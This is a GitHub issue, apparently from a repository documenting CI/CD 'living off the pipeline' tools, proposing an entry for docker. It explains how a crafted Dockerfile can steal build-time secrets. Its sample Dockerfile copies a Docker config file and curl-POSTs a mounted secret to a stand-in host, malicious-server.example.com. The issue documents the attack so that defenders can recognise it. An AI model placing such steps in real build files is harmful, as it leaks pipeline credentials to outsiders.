boostsecurityio / lotp

boostsecurityio/lotp
Apache License 2.0
98 stars 6 forks source link

[LOTP] Add docker #35

Open fproulx-boostsecurity opened 2 months ago

fproulx-boostsecurity commented 2 months ago

Description of the LOTP tool

docker is tool to build / inspect OCI images and run containers. The build stage can be configured with Dockerfile

Configuration files

Dockerfile

Exfiltration scenario

In the case where build-time secrets are exposed to docker build, a maliciously crafted Dockerfile could allow exfiltration of the secrets

FROM ubuntu:latest

ADD /home/runner/.docker/config.json config.json
RUN ...

RUN --mount=type=secret,id=mysecret \
    sh -c 'curl -X POST -d "@/run/secrets/mysecret" http://malicious-server.example.com'